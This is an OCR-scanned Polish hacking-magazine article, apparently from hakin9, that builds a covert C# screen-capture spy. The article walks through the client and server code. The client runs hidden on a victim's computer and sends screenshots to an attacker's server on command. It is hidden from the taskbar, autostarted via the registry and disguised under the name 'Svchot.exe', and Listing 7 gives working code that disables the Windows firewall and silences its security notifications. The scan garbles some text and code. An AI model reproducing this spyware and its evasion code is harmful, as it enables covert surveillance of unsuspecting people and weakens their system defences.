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stopien trudnosci

Uzywajac mechanizmu hakéw w systemie Windows, mozemy
swobodnie przechwytywa¢ poufne dane wprowadzane

z klawiatury (hakin9 1/2008). Pora teraz podpatrzec,

co uzytkownik robi na swoim komputerze.

ym razem nie skorzystamy z mecha-
T nizmu hakéw Windows, lecz stworzy-

my klasyczny projekt typu klient-ser-
wer. Klient bedzie uruchamiany na kompute-
rze zdalnym i bedzie oczekiwat na komende
od serwera. Po jej otrzymaniu klient zrobi zrzut
ekranu, po czym dane te przesle do serwera.
W projekcie uzyjemy protokotu TCP do przesy-
tania zrzutu ekranu. Za pomoca protokotu UDP
bedziemy przesyta¢ do serwera dane dotyczg-
ce dostepnosci klientow. Dodatkowo wykorzy-
stamy programowanie wielowatkowe. Aplikacje
klienta oraz serwer napiszemy uzywajac dar-
mowego $rodowiska Visual C# 2005 Express
Edition. Bedq to tradycyjne projekty Windows
Forms, cho¢ oczywiscie nie stoi nic na prze-
szkodzie, aby uzy¢ projektéow Windows Pre-
sentation Fundation. Zaktadam, ze Czytelnik
posiada podstawowg wiedze z zakresu progra-
mowania w jezyku C# dla platformy .NET.

Klient

Aplikacje klienta napiszemy jako pierwsza.
Bedzie ona standardowym projektem typu
Windows Forms, w ktérym uzyjemy klas plat-
formy .NET odpowiedzialnych za programo-
wanie sieciowe. Bedzie to aplikacja urucha-
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miana na komputerze zdalnym, wiec zadbamy
o to, aby byta tam jak najmniej widoczna. Pro-
jekt ten mozna potaczyé nastepnie z projek-
tem serwera w ramach jednego zbioru projek-
tow (Solution).

e
Z artykutu dowiesz sie

+ jak z poziomu kodu C# utworzy¢ potgczenie
TCP,

* jak z poziomu kodu C# wystac¢ dane za pomo-
cg protokotu UDP,

* w jaki sposéb uzywa¢ komponentéw klasy
BackgroundWorker,

* jakuzywac strumieni do programowania siecio-
wego.

Co powinienes wiedzieé¢

* podstawowa znajomosc¢ jezyka C# i platformy
.NET,

* jak uzywac srodowiska Visual C# Express Edi-
tion,

* podstawy programowania zorientowanego
obiektowo,

* podstawowa znajomos$¢ sieci komputero-
wych.
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Zrzut ekranu
Na poczatku warto napisa¢ meto-
de, za pomocg ktorej bedziemy mo-
gli wykonywac¢ zrzuty ekranu. Roz-
poczynamy zatem nowy projekt
Windows Forms. Niech nazywa sie
Klient. Pozostawimy réwniez do-
myslng nazwe Form1, ktéra repre-
zentuje okno (forme) naszej aplika-
cji. Umiescimy ja wewnatrz klasy
rorml (Listing 1). Aby mie¢ wygodny
dostep do klas i metod umozliwiaja-
cych wykonanie zrzutu ekranu, mu-
simy dodac jeszcze przestrzen nazw
System.Drawing.Imaging
Zasadniczym elementem napisa-
nej przez nas metody makeScreenshot
jest uzycie metody copyFromscreen
klasy Grapnics. Wykonuje ona kopie
obrazu ekranu. Jej pie¢ pierwszych
argumentow okresla obszar ekranu,
ktory bedzie skopiowany. Ostatni ar-
gument (CopyPixelOperation) okresla
sposob kopiowania poszczegdlnych
pikseli. My wybraliSmy sourcecopy,
co oznacza dokfadne kopiowanie.
Mozna jeszcze np. odwrdcié kolo-
ry itd. Metoda rromimage tworzy no-
wy obiekt klasy craphics z okre$lo-
nego obrazu.

Przesytanie zrzutu
ekranu

Przesytanie kopii ekranu mozna zre-
alizowa¢ na kilka sposobéw. Naijta-
twiej jest wysyta¢ dane co pewien
odstep czasu. Mozna do tego uzyé
komponentu riner. Ja jednak chcia-
tem zaproponowac rozwigzanie bar-
dziej uniwersalne, cho¢ — ze wzgle-
du na implementacje — dosy¢ nie-
typowe. Niech uzytkownik serwera
sam zdecyduje, kiedy chce wykonaé
zdalny zrzut ekranu.

W tym celu klient musi oczekiwaé
na odpowiednig komende od serwe-
ra, czyli w aplikacji klienta de facto
musimy uruchomic serwer. Podobnie
jak w przypadku protokotu FTP, my
réwniez uzyjemy do obstugi potgcze-
nia dwoch portéow. Jeden bedzie od-
powiedzialny za komendy, a drugi za
przesytanie danych. Dzieki takiemu
rozwigzaniu komendy bedg wysyta-
ne do klienta niezaleznie od prze-
sytanych danych. Umozliwi nam to
wstrzymanie badz zatrzymanie wy-

Listing 1. Metoda wykonujgca zrzut ekranu

private Bitmap makeScreenshot ()

Bitmap bmp = new Bitmap (Screen.PrimaryScreen.Bounds.Width, Scree
n.PrimaryScreen.Bounds.Height, PixelFormat.Format32bp
PArgb) ;

Graphics screenshot = Graphics.FromImage (bmp) ;

screenshot.CopyFromScreen (Screen.PrimaryScreen.Bounds.X, Screen.P

return bmp;

private int serverCommandPort = 1978;

private int serverDataPort = 25000;
private string localIP = null;

private Bitmap image;

.

rimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Boun

ds.Size, CopyPixelOperation.SourceCopy) ;

Listing 2. Prywatne pola klasy Form1

private IPAddress serverIP = IPAddress.Parse("127.0.0.1");

J

syftania. W przypadku uzywania tyl-
ko jednego portu do obu tych opera-
cji nie mielibysmy takich mozliwosci.
Serwer musi przechowywac liste ak-
tualnie dostepnych klientéw. Wystar-
czy wiec, ze klient w momencie ini-
cjalizacji przes$le informacje o swojej
dostepnosci. Dla platformy .NET za-
projektowano dwie klasy, ktore stuzg
do potaczenia TCP. Sg to rcpristener
i TcPclient.

Pierwsza spetnia role serwe-
ra, a druga klienta. Aby wygodnie
korzysta¢ z klas stuzgcych do pro-
gramowania sieciowego, w sekcji
using programu dodajemy trzy prze-

strzenie nazw: system.Net.Sockets,
System.Net i system.10. DO klasy for-
my dodamy jeszcze prywatne pola,
ktére bedg przechowywaty dane po-
trzebne do potaczenia sie z serwe-
rem oraz zrzut ekranu (Listing 2).
Pierwsza zmienna bedzie przecho-
wywata port, na jakim bedg przesy-
tane komendy.

Druga zmienna zawiera¢ be-
dzie adres IP serwera. Testowo ad-
res ten ustawiamy na 127.0.0.1, czy-
li adres petli zwrotnej. Numer portu,
na ktérym bedziemy wymienia¢ da-
ne z serwerem, przechowany bedzie
W zZmiennej serverDataPort. Zmien-

Klignci

listBox1

Serer
Adres |P: 12z001

Port: (25000

kG

Rysunek 1. Widok projektu interfejsu graficznego serwera
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na localir bedzie zawiera¢ adres
IP komputera, na ktérym uruchomio-
ny zostanie klient. Ostatnie zadekla-
rowane przez nas pole bedzie prze-
chowywacé obraz.

Uzywajac do potaczenia TCP klas
TcpListener i TcpClient dzialamy na
zasadzie blocking socket. Oznacza to,
ze watek, w ktérym dokonujemy trans-
akcji TCP bedzie zablokowany, dopé-
ki transakcja nie zostanie zakonczo-
na. Jesli to bedzie gtéwny watek apli-
kacji, to jej interfejs graficzny bedzie

niedostepny w czasie trwania trans-
akcji TCP. Zatem wygodnie jest uzy-
waé programowania wielowatkowe-
go — cho¢ w tym przypadku nie jest to
konieczne, poniewaz nasza aplikacja
nie posiada na formie zadnych kontro-
lek. Poczawszy od wersji 2.0, platfor-
ma .NET wyposazona jest w wygod-
ny komponent klasy Backgroundiorker.
Dzieki niemu mozemy w prosty spo-
séb wykonywaé podstawowe opera-
cje wielowatkowe, co w naszym przy-
padku w zupetnosci wystarczy. Przy

Jest do serwera

serwer.Start () ;

while (true)

Byte[] b = new Byte[8];

string msg =
if (msg == "##shot##")

ms.Close();

try

private void backgroundWorkerl DoWork (object sender,

Listing 3. Metoda wywotujgca zrzut ekranu, ktéry nastepnie przesytany

DoWlorkEventArgs e)

Tcplistener server = new Tcplistener (IPAddress.Parse(locallP)

serverCommandPort) ;

TcpClient clientCommand = server.AcceptTcpClient ();

NetworkStream ns = clientCommand.GetStream();

int read = ns.Read(b, 0, b.Length);
Encoding.ASCII.GetString(b);

image = makeScreenshot();
MemoryStream ms = new MemoryStream();
image.Save (ms, ImageFormat.Jpeq);

byte[] imageByte = ms.GetBuffer();

TcpClient client2 = new TcpClient (serverIP.ToString(),
serverDataPort) ;
NetworkStream ns2 = client2.GetStream();

using (BinaryWriter bw = new BinaryWriter (ns2)
bw.Write ((int)imageByte.Length);

bw.Write (imageByte) ;

catch (Exception ex)

Listing 4. Konstruktor klasy Form1
public Forml ()

InitializeComponent () ;
IPHostEntry IPs = Dns.GetHostEntry (Dns.GetHostName());
localIP = IPs.AddressList[0].ToString();

backgroundWorkerl.RunWorkerAsync () ;
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skomplikowanym programie wielo-
watkowym lepiej skorzystac jest z klas
z przestrzeni NAZW system.Threading.
Do projektu dodajemy komponent
backgroundWorkerl. Tworzymy dla nie-
go metode zdarzeniowg powork, Ktd-
ra odpowiada za zadanie, jakie be-
dzie w tym watku wykonywane
(Listing 3). Jak wspomniatem we wste-
pie, klient powinien oczekiwa¢ na ko-
mende wystang przez serwer, wyko-
nac zrzut ekranu i dane te przestac na
serwer. Niech komendg inicjalizujagcg
procedure wykonania zrzutu ekranu
bedzie ciag ##shot##. Konstruujemy
obiekt klasy Tcpristener i W konstruk-
torze przekazujemy adres IP kompu-
tera oraz port, na jakim aplikacja be-
dzie nastuchiwa¢. Pod zmienng loca-
IIP podstawimy adres IP w konstrukto-
rze klasy rorm1 (Listing 4).

Za pomocg metody start inicja-
lizujemy nastuchiwanie. Metoda ta
nie blokuje jeszcze biezgcego wat-
ku. Watek blokowany jest dopiero po
uzyciu metody AcceptTcpClient, kto-
ra oczekuje na potgczenie i zwraca
obiekt klasy rcpcilient. Za jego pomo-
cq bedziemy mogli odczytac dane, ja-
kie otrzymali$my podczas potaczenia.
Operacje sieciowe dotyczace odczy-
tu badz wysytania przy potaczeniach
TCP to w ogodlnos$ci operacje na stru-
mieniach. Wystarczy wiec umiejetnie
skonstruowa¢ strumien i juz mamy
mozliwos¢ przesytania danych przez
sie¢. Do obstugi strumienia sieciowe-
go stuzy klasa vetworkstream. UZzywa-
jac metody Getstream klasy tcpclient
otrzymujemy strumien, ktéry podsta-
wiamy do referencji ns. Dalej za po-
mocg metody read przepisujemy do
bufora typu byte (] dane, ktére odczy-
taliSmy ze strumienia.

Przy uzyciu metody cetstring
z  klasy zamieniamy
bufor na obiekt typu string. Sprawdza-
my, jakg wartos¢ ma ten obiekt i je-
zeli jest to komenda ##shot##, WOW-
czas wykonujemy zrzut ekranu i za-
pisujemy go do pola image. Aby zaj-
mowat on jak najmniej pamieci,
uzywamy kodowania JPEG. W ko-
lejnym kroku obraz zamieniany jest
na strumien (klasa Memorystream),
a poézniej na tablice bajtow (metoda
GetBuffer). Tak przygotowany stru-

Encoding




Podgladanie pulpitu

mieh mozemy przestac przez sie€ uzy-
wajac klasy tcpciient. Do przesytania
danych binarnych postuzymy sie klasa
BinaryWriter. Proba wystania danych
do serwera powinna by¢ zamknieta
w bloku ochronnym ftry-catch, co
uchroni program przed zwracaniem
wyjatkéw do Srodowiska uruchomie-
niowego, a co za tym idzie — do zde-
maskowania sie. Cato$¢ zamknieta
jest w nieskonczonej petli while.

Musimy jeszcze odczyta¢ adres
IP komputera, na ktérym dziata klient
oraz uruchomi¢ watek zwigzany
z komponentem backgroundWorkerl.
Czynnosci te wykonamy w konstruk-
torze klasy formy (Listing 4).

Wysytanie informaciji

o dostepnosci klienta
Wazng funkcjonalnoscia  aplikacji
klienckiej powinno by¢ wysytanie in-
formacji o dostepnosci klienta. Dzieki
temu serwer bedzie miat zawsze ak-
tualng liste klientow, ktorzy sg aktyw-
ni. Uzyjemy do tego protokotu UDP.
Niech informacja, jakg bedzie wysytat
klient, ma posta¢ adresl|P_klienta:ko-
munikat. Przy starcie klient powinien
wysta¢ informacje, ktéra moze wy-
gladac¢ tak: 127.0.0.1:u1. Przy koncze-
niu pracy powinien wysta¢ informa-
cje 127.0.0.1:8yE. Listing 5 przedsta-
wia prostag metode wysytajacg dane
za pomocg protokotu UDP. Do obstu-
gi potaczenia UDP uzyta zostata klasa
UdpClient Ijej metoda send.

Wystarczy jg podczepi¢ do zda-
rzenia Load oOraz FormClosing (LI-
sting 6).

Przypatrzmy sie jeszcze przez
chwile sposobowi dziatania Kklien-
ta. Aplikacja ta bedzie uruchamiana
na komputerze zdalnym (w domysle
ofiary). Musimy wiec zadba¢ o to, aby
byta jak najtrudniejsza do odkrycia.
Na poczatek ukrywamy okno apli-
kacji. Mozna to zrobi¢ poprzez wta-
SNOSCi ShowIcon Oraz ShowInTaskbar,
ktére ustawiamy na raise. Wtasnosé
windowState Ustawiamy na Minimized.
W zasadzie mogliby$my napisac row-
niez aplikacje konsolowg, ktéra nie
posiadataby okna. Wybratem jed-
nak aplikacje Windows Forms, ponie-
waz chciatem, aby program mogt by¢
pozniej dowolnie modyfikowany — np.

poprzez dodawanie nowych kontro-
lek do formy. Program ten powinien
réwniez uruchamia¢ sie w momencie
startu systemu.

Metoda dodajgca odpowiedni wpis
do rejestru systemowego, ktory za-
pewni automatyczne uruchamianie
aplikacji, zostata juz zaprezentowana
w artykule C#.NET. Podstuchiwanie
klawiatury, hakin9 1/2008. Sam proces
mozna w prosty sposéb ukryé poprzez
nazwanie programu np. Svchot.exe.
Program mozna réwniez sprobowac
uruchomi¢ w trybie ustugi.

Pozostaje jeszcze jedna, wazna
kwestia: reakcja firewalla zainstalo-
wanego w systemie na prébe stworze-
nia serwera, a co za tym idzie otwarcia
portu i nastuchiwania na nim. Ponie-

waz jest to bardzo szeroki temat, do-
bry na osobny artykut, skupimy sie je-
dynie na firewallu systemowym, ktory
jest uzywany przez bardzo wielu uzyt-
kownikéw. Aby go wytaczy¢ wystar-
czy zmieni¢ warto$¢ EnableFirewall
znajdujacg sie w kluczu o nazwie
HKEY _LOCAL _MACHINE\SYSTEM\
ControlSet001\Services\SharedAccess\
Parameters\FirewallPolicy\
StandardProfile Z dword:00000001 Na
dword:00000000. Centrum Zabezpie-
czen, ktére obecne jest od premiery
poprawki SP2, moze wyswietla¢ mo-
nity o wytaczeniu firewalla. Aby za-
mkng¢ mu usta, wystarczy zmienic
wartos¢ FirewallDisableNotify, ktéra
znajduje sie w kluczu skEY 1OCAL _
MACHINE\SOFTWARE\Microsoft\Security

~
Listing 5. Wysytanie danych za pomocq protokotu UDP
private void SendMessageUDP (string msg)
UdpClient client = new UdpClient (serverIP.ToString(), 43210);
byte[] b = Encoding.ASCII.GetBytes (msg) ;
client.Send (b, b.Length);
client.Close();
Listing 6. Metody zdarzeniowe Load oraz FormClosing
private void Forml_Load(object sender, EventArgs e)
SendMessageUDP (localIP + ":HI");
private void Forml FormClosing(object sender, FormClosingEventArgs e)
SendMessageUDP (localIP + ":BYE");
Listing 7. Wytgczenie systemowego firewalla
private void firewallDisable ()
const string keynamel = "SYSTEM\\ControlSet001\\Services\
\SharedAccess\\Parameters\\FirewallPolicy\\
StandardProfile";
const string keyname2 = "SOFTWARE\\Microsoft\\Security Center";
try
Microsoft.Win32.RegistryKey rgl = Microsoft.Win32.Registry.L
ocalMachine.OpenSubKey (keynamel, true);
rgl.SetValue ("EnableFirewall", 0);
rgl.Close();
Microsoft.Win32.RegistryKey rg2 = Microsoft.Win32.Registry.L
ocalMachine.OpenSubKey (keyname2, true);
rg2.SetValue ("FirewallDisableNotify", 1);
rg2.Close () ;
catch
J
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center. Odpowiedni kod realizujacy
te zadania przedstawiony zostat na
Listingu 7. Jego wywotanie najlepiej
umiesci¢ w konstruktorze klasy rorm1
lub w metodzie zdarzeniowej dla zda-
rzenia Load formy. Sam sposéb prze-
prowadzania operacji na rejestrze zo-
stat rowniez opisany w cytowanym po-
wyzej artykule.

Proba modyfikacji rejestru nie
uda sie, jesli nie mamy odpowiednich
praw. Jednak ilu jest uzytkownikdéw
systemu Windows, ktérzy na co dzien
korzystajg z konta o prawach admini-
stratora? Mozna réwniez zmienic ten
program tak, aby udawat jakas inng
aplikacje. W ten sposéb uzytkownik
moze zignorowa¢ ewentualne moni-
ty pochodzace od firewalla i pozwoli¢
na komunikacje sieciowa. Programy
antywirusowe nie powinny zgtaszaé
zagrozenia podczas dziatania klien-
ta (jak i w trakcie skanowania jego pli-
ku wykonywalnego), poniewaz jest to
standardowa aplikacja.

Pora stworzy¢ serwer

Rozpoczynamy kolejny projekt Win-
dows Forms, ktéry bedzie serwe-
rem dla napisanego przed chwi-
la klienta. Na poczatek zbuduje-
my interfejs graficzny uzytkownika.
W tym celu do projektu dodajemy kon-
trolke pictureBox1, Na ktorej bedzie-
my wyswietla¢ pobrany zrzut ekranu.
Na forme wrzucamy réwniez kontro-
ke 1istBox1, przeznaczong do prze-
chowywania listy wszystkich aktyw-
nych klientéw. Dodajemy jeszcze pole
edycyjne textsox1, ktore bedzie prze-
chowywac¢ adres IP serwera oraz po-
le numericupbownl, ktore postuzy do
wyboru portu. Na koniec dodajemy
przycisk buttonl — bedzie on inicjo-
wat zdalny zrzut ekranu. Nasz ser-
wer, podobnie jak klient, bedzie ob-
stugiwat potaczenia w osobnych wat-
kach. Dzieki temu interfejs uzytkow-
nika bedzie stale dostepny. Zatozyli-
Smy sobie na poczatku, ze informa-
cje o aktywnych klientach przesytaé
bedziemy przy uzyciu protokotu UDP.
Oczekiwanie na zgtoszenia od klien-
téw zrealizujemy w osobnym watku.
Do jego obstugi dodajemy kompo-
nent backgroundworkerl. Zanim opro-
gramujemy jego metode powork, Musi-
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Listing 8. Bezpieczne odwotywanie sie do kontrolek formy z poziomu
innego watku

delegate void SetTextCallBack(string tekst);
private void SetText (string tekst)
if (listBoxl.InvokeRequired)

SetTextCallBack f = new SetTextCallBack (SetText);
this.Invoke (f, new object][] tekst });

else

this.listBoxl.Items.Add (tekst);

delegate void RemoveTextCallBack(int pozycja);
private void RemoveText (int pozycja)
if (listBoxl.InvokeRequired)
RemoveTextCallBack f = new RemoveTextCallBack (RemoveText);

this.Invoke (f, new object|[
)i

pozycia

else

listBoxl.Items.RemoveAt (pozycja);

Listing 9. Metoda konstruujgca liste aktywnych klientow

private void backgroundWorkerl DoWork(object sender, DoWorkEventArgs e)

IPEndPoint hostIP = new IPEndPoint (IPAddress.Any, 0);
UdpClient client = new UdpClient (43210);
while (true)

Byte[] b = client.Receive(ref hostIP);

string data = Encoding.ASCII.GetString(b);
string[] cmd = data.Split (new char[] 2}
if (cmd[1] == "HI")

foreach(string s in listBoxl.Items)
if (s == cmd[0])

MessageBox.Show ("Prdoba nawiazania potaczenia z "
+ cmd[0] + " odrzucona poniewaz na liscie istnieje juz
taki wpis");

return;
this.SetText (cmd[0]) ;
if (cmd[1] == "BYE")
for (int 1 = 0; 1 < listBoxl.Items.Count; i++

if (listBoxl.Items[i].ToString() == cmd[0])

this.RemoveText (1) ;
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my jeszcze stworzy¢ dwie metody po-
mochnicze, za pomoca ktérych bedzie-
my odwotywac sie do kontrolek formy
z poziomu innego watku.

Odwotywanie sie

do kontrolek formy

Watek zwigzany z komponentem
backgroundWorkerl bedzie potrzebo-
wat dostepu do kontrolek znajduja-
cych sie na formie serwera, ktére zo-
staty stworzone w watku gtéwnym
aplikacji. Bezposrednia proba odwo-
tania sie do tych kontrolek z poziomu
innego watku moze zakonczy¢ sie
dla naszej aplikacji btedem, ponie-
waz do tej samej kontrolki moze jed-
noczesnie odwotywac sie inny wa-
tek (np. gtéwny). Musimy wiec stwo-
rzy¢ mechanizm, ktéry umozliwi nam
zmiang wpisow w kontrolce 1istBox1.
Skorzystamy z mechanizmu delega-
cji oraz metody 1nvoke, ktéra wykona
skonstruowang przez nas delegacje
w watku, w ktérym kontrolki zosta-
ty utworzone. Potrzebujemy metody
dodajacej wpis do listy ListBox1 oraz
metody usuwajacej wpis z tej listy.
Na Listingu 8 zamieszczony zostat
kod metod setText Oraz removeText,
ktore stuzg wtasnie do tych celdw.

Lista aktywnych
klientéw

Po utworzeniu metod umozliwiaja-
cych bezpieczne odwotywanie sie
do kontrolek znajdujacych sie na for-
mie z poziomu innego watku, moze-
my przystgpi¢ do konstruowania listy
aktywnych Kklientéw. Przypominam,
ze klient w momencie uruchomie-
nia oraz wyfgczenia wysyta komuni-
kat UDP do serwera o tresci adreszp:
komunikat. PO stronie serwera musimy
ten komunikat odczyta¢ i doda¢ odpo-
wiedni wpis do kontrolki 1istBox1 (lub
usung¢ go z niej). Niech serwer na-
stuchuje na porcie 43210. Dla kom-
ponentu backgroundWorkerl tWOI'Zy-
my metode powork (Listing 9). Do kon-
struktora klasy vdpciient przekazuje-
my numer portu i za pomocg metody
receive 0dczytujemy dane, jakie wy-
stat nam klient. Metoda ta jako para-
metr przyjmuje referencje adresu IP
hosta wysytajacego dane, zwraca na-
tomiast dane w postaci tablicy danych

Juz w sprzedaz

zamowienia prosze skiadat na adres:
pren@software. com. pl
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Atak

typu byte. Metoda Split klasy String
umozliwia rozdzielenie ciggu znakow
ze wzgledu na konkretny znak sepa-
ratora — w naszym przypadku jest
to dwukropek. Jezeli po adresie IP
w otrzymanym komunikacje odczy-
tamy cigg HI, woéwczas dopisujemy
do listy 1istBox1 adres IP klienta. Je-
zeli trescig komunikatu bedzie sve,
to usuwamy ten adres z listy.

Pobieranie

zrzutu ekranu

Pobieranie zrzutu ekranu zrealizu-
jemy w osobnym watku. W tym ce-
lu do projektu dodajemy komponent

O autorze

Stawomir Ortowski — doktorant na Wydziale Fizyki, Astronomii i Informatyki Stosowa-
nej UMK w Toruniu. Zajmuje sie dynamika molekularng oraz bioinformatyka. Ma do-
Swiadczenie w programowaniu w jezykach C++, Delphi, Fortran, Java i Tcl. Strona do-
mowa: http://www.fizyka.umk.pl/~bigman. Kontakt z autorem: bigman@fizyka.umk.pl

backgroundWorker2, ktory deZIe Ode-
wiedzialny za oczekiwanie na nadcho-
dzacy od klienta zrzut oraz jego pobra-
nie. Na poczatek tworzymy metode
zdarzeniowg c1ick kontrolki vuttoni.
Bedzie ona odczytywata adres IP
klienta, ktéry zaznaczony jest na liscie
1istBox1, Wysylata komende ##shot##
oraz uruchamiata watek zwigzany

return;

try

else

ekranu") ;

catch

server2.Start();

byte[] imageByte;

server2.Stop();

Listing 10. Pobieranie zrzutu ekranu w osobnym watku

private void buttonl Click(object sender, EventArgs e)

if (listBoxl.SelectedIndex == -1

TcpClient client = new TcpClient (listBoxl.Items[listBoxl.Sel
ectedIndex].ToString(), 1978);

NetworkStream ns = client.GetStream();

byte[] b = new byte[8];

b = Encoding.ASCII.GetBytes ("##shot##");

ns.Write(b, 0, b.Length);

if (backgroundWorker2.IsBusy == false)
backgroundWorker2.RunWorkerAsync () ;

MessageBox.Show ("Nie mozna teraz zrealizowad¢ zrzutu

MessageBox.Show ("Btad: Nie mozna nawiaza¢ potaczenia);

private void backgroundWorker2 DoWork (object sender, DoWorkEventArgs e)

Tcplistener server2 = new Tcplistener (IPAddress.Parse (textBoxl.T

ext), (int)numericUpDownl.Value);

TcpClient client2 = server2.AcceptTcpClient();

NetworkStream ns = client2.GetStream();
using (BinaryReader br = new BinaryReader (ns))

int imageSize = br.ReadInt32();
imageByte = br.ReadBytes (imageSize);

using (MemoryStream ms = new MemoryStream(imageByte)

Image img = Image.FromStream (ms);

pictureBoxl.Image = img;

~
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z komponentem backgroundWorker2
(Listing 10). Tradycyjnie do przesta-
nia komendy do klienta uzyjemy klasy
TcpClient Oraz strumienia sieciowe-
go. Dodatkowy watek moze by¢ uru-
chomiony jedynie wtedy, kiedy nie jest
juz zajety odbieraniem innego zrzutu
ekranu. Mozemy to sprawdzi¢ za po-
mocg wiasnosci 1ssusy. W kolejnym
kroku tworzymy metode zdarzenio-
wa DoWork dla komponentu backgro-
undWorker2. Tworzymy tam egzem-
plarz klasy TcpListener, ktdry ocze-
kuje na zrzut ekranu. Podobnie, jak
wprzypadkuklienta (Listing 3), musimy
wykonac kilka standardowych krokow.
Po pierwsze, do konstruktora kla-
sy przekazujemy adres IP oraz nu-
mer portu, na jakim ma dziata¢
uruchomiony serwer (np. 1978).
Nastepnie  wywotujemy  metode
start W celu inicjalizacji serwera.
W kolejnym kroku uzywamy metody
AcceptTcpClient, ktdéra zwraca nam
obiekt klasy tcpciient. Postuzy nam
on nastepnie do stworzenia strumie-
nia sieciowego, z ktérego mozemy
odczytac juz dane. Otrzymany obraz
wrzucamy do kontrolki pictureBox1.
W ten sposob serwer zostat stworzony
i uruchomiony. Mozna go oczywiscie
rozszerzy¢ o kolejne funkcje, takie jak
zapisywanie zrzutéw ekranu do pliku
itd. Pozostawiam to Czytelnikowi.

Podsumowanie

W powyzszym artykule staratem sie
przekazac jak najwiecej podstaw do-
tyczacych programowania sieciowego
na platformie .NET przy uzyciu proto-
kotéw TCP i UDP. Dane, ktére przesy-
fa sie przez sie¢, bez wzgledu na ich
zrodto zamieniamy na tablice bajtéw
i za pomoca strumieni sieciowych od-
czytujemy badz zapisujemy. Projekty
stworzone w tym artykule mogg sta-
nowi¢ podstawe dla bardziej rozbudo-
wanych aplikacji. ®
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